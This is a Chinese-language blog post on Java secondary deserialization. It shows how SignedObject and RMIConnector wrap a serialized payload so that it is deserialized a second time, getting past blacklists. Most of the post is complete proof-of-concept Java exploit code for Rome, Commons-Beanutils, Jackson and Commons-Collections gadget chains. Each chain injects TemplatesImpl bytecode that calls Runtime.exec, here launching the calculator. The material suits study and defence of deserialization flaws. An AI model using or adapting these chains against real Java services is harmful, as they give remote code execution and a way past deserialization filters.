Featured image of post java二次反序列化

java二次反序列化

java二次反序列化

二次反序列化一般用于绕过黑名单和解决不出网的问题,二次反序列化一般来说有如下几个常用的利用类:

  1. SignedObject
  2. RMIConnector
  3. WrapperConnectionPoolDataSource

本质上就是借助这些类的某些方法,来实现readObject,给我们原本的反序列化对象做一层包装

SignedObject

1
SignedObject#getObject() -> x.readObject()

image-20260403111936600

然后看构造方法

image-20260403113247691

传入的object是Serializable对象,这里传入的对象我们可控,然后对传入的对象输入流进行序列化存到变量b,后续对b的内容进行反序列化,所以这里是一个很好的二次反序列化媒介,只需要我们能调用这里的getObject方法就行,不难想到能调用任意getter的几条链,fastjson调用getter要求返回值继承为指定的几个类,这里是Object类型的不满足,所以先看rome链

Rome

toStringBean

之前分析过,这条链调用的getter方法是无参getter就行,显然是满足条件的

这里走最短路线

1
2
3
4
SignedObject#getObject()
ToStringBean#toString(String)
ToStringBean#toString()
BadAttributeValueExpException#readObject()

要序列化的对象就从利用链中调,这里我就不用cc了,直接rome链上面进行包装

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Hashtable;

public class SignedObjectPOC {private static Unsafe unsafe = null;
    public static void main(String[] args) throws  Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        //防止序列化时提前触发
        TemplatesImpl fakeTemplates = new TemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
//        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"0d00");
        //反射修改ToStringBean的值回恶意templatesImpl
        setFieldValue(toStringBean,"_obj",templatesImpl);
        //二次反序列化包装
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashtable, kp.getPrivate(), Signature.getInstance("DSA"));
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", toStringBean2);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(badAttributeValueExpException);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();

    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

最关键的其实是中间这部分

1
2
3
4
5
6
7
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashtable, kp.getPrivate(), Signature.getInstance("DSA"));
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", toStringBean2);

前面满足SignedObject构造方法后,用后面toStringbean方法调用SignedObject的getter方法,最后走到BadAttributeValueExpException的readObject,当然这里也是可以走hashmap的,这里用这个只是利用链比较短

equalsBean

基本一样的思路,一样还是用到哈希碰撞的思路

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashtable, kp.getPrivate(), Signature.getInstance("DSA"));
        EqualsBean equalsBean = new EqualsBean(String.class,"s");
        HashSet hashSet = new HashSet();
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        hashMap1.put("zZ", signedObject);
        hashMap1.put("yy", equalsBean);
        hashMap2.put("zZ", equalsBean);
        hashMap2.put("yy", signedObject);
        hashSet.add(hashMap1);
        hashSet.add(hashMap2);
        setFieldValue(equalsBean,"_beanClass",SignedObject.class);
        setFieldValue(equalsBean,"_obj",signedObject);

这里用来包装上面的poc的时候,运行直接弹两次计算器了,好像是因为EqualsBean 会通过反射调用 SignedObject 的所有 getter 方法来进行属性对比。在对比过程中,它分别对“自己包装的对象”和“传入的对比对象”各调用了一次 getObject() 方法。因为这两个对象实际上是同一个 SignedObject,导致内部的恶意数据被反序列化了两次,从而弹出了两次计算器。

CB

没啥说的,依旧包装对象,CB链中调用getter方法只需要最后反射修改BeanComparatorproperty的值为对应getter方法名,传入的队列为signedObject就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.cbtest;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.Unsafe;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.PriorityQueue;

public class SignedObjectCB {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
        //二次反序列化包装
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(priorityQueue, kp.getPrivate(), Signature.getInstance("DSA"));
        BeanComparator beanComparator2 = new BeanComparator();
        PriorityQueue priorityQueue2 = new PriorityQueue(2,beanComparator2);
        priorityQueue2.add(1);
        priorityQueue2.add(2);
        setFieldValue(beanComparator2,"property","object");
        setFieldValue(priorityQueue2,"queue",new Object[]{signedObject,signedObject});
        serialize(priorityQueue2);
        unserialize("ser.bin");
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

jackson

jackson中的POJONode类中的toString方法能调用getter方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;

public class SignedObjectPOC {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        //重写BaseJsonNode
        CtClass cc2 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = cc2.getDeclaredMethod("writeReplace");
        cc2.removeMethod(writeReplace);
        cc2.toClass();

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        POJONode pojoNode = new POJONode(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
        setFieldValue(badAttributeValueExpException, "val", pojoNode);
        //二次反序列化包装
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));
        POJONode pojoNode2 = new POJONode(signedObject);
        BadAttributeValueExpException badAttributeValueExpException2 = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
        setFieldValue(badAttributeValueExpException2, "val", pojoNode2);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(badAttributeValueExpException2);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

这里主要是上面部分删除了writeReplace,下面就没必要再删,实际接别的链子的时候还是要删的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));
        CtClass cc2 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = cc2.getDeclaredMethod("writeReplace");
        cc2.removeMethod(writeReplace);
        cc2.toClass();
        POJONode pojoNode2 = new POJONode(signedObject);
        BadAttributeValueExpException badAttributeValueExpException2 = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
        setFieldValue(badAttributeValueExpException2, "val", pojoNode2);

RMIConnector

image-20260416085007042

关键在于RMIConnector类中的findRMIServerJRMP方法,接收传入的base64,解码后作为序列化对象,然后判断是否有loader,没有loader就直接创建输入流反序列化

查找谁调用了这个方法

image-20260416085604642

可以看到要满足path中以/stub/字符串开头才会调用,然后后面刚好截取6字符后的内容,也就是我们构造/stub/base64字符串就能让findRMIServerJRMP反序列化

继续往上找调用

image-20260416090115061

很明显,我们需要控制的变量就是这里的jmxServiceURL,那就很简单了,反射修改就行了,然后base64直接上恶意的base64就行了

现在就是要想谁调用了connect方法能够接上readObject,直接找太困难了,这里想到CC里面的InvokerTransformer可以用来实现任意方法调用

拿cc6测试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.cc6test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class RMIConnectorCC {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry t = new TiedMapEntry(lazymap, "key");
        HashMap<Object, Object> finalmap = new HashMap<>();
        finalmap.put(t, "value");
        lazymap.remove("key");
        Class c = LazyMap.class;
        Field f = c.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(lazymap,chainedTransformer);
        String s = base64Encode(finalmap);
        rmiConnector(s);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    //base64
    public static String base64Encode(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String s = Base64.getEncoder().encodeToString(baos.toByteArray());
        return s;
    }
    public static void rmiConnector(String base64) throws Exception{
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL,"urlPath","/stub/" + base64);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
        rmiConnector.connect();
    }
}

后面同样用cc6来调用吧,二次反序列化poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public static void rmiConnector(String base64) throws Exception{
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL,"urlPath","/stub/" + base64);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect",null,null);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry t = new TiedMapEntry(lazymap, rmiConnector);
        HashMap<Object, Object> finalmap = new HashMap<>();
        finalmap.put(t, "value");
        lazymap.remove(rmiConnector);
        setFieldValue(lazymap,"factory",invokerTransformer);
        unserialize(finalmap);
    }

wrapperConnectionPoolDataSource

C3P0链会学到

使用 Hugo 构建
主题 StackJimmy 设计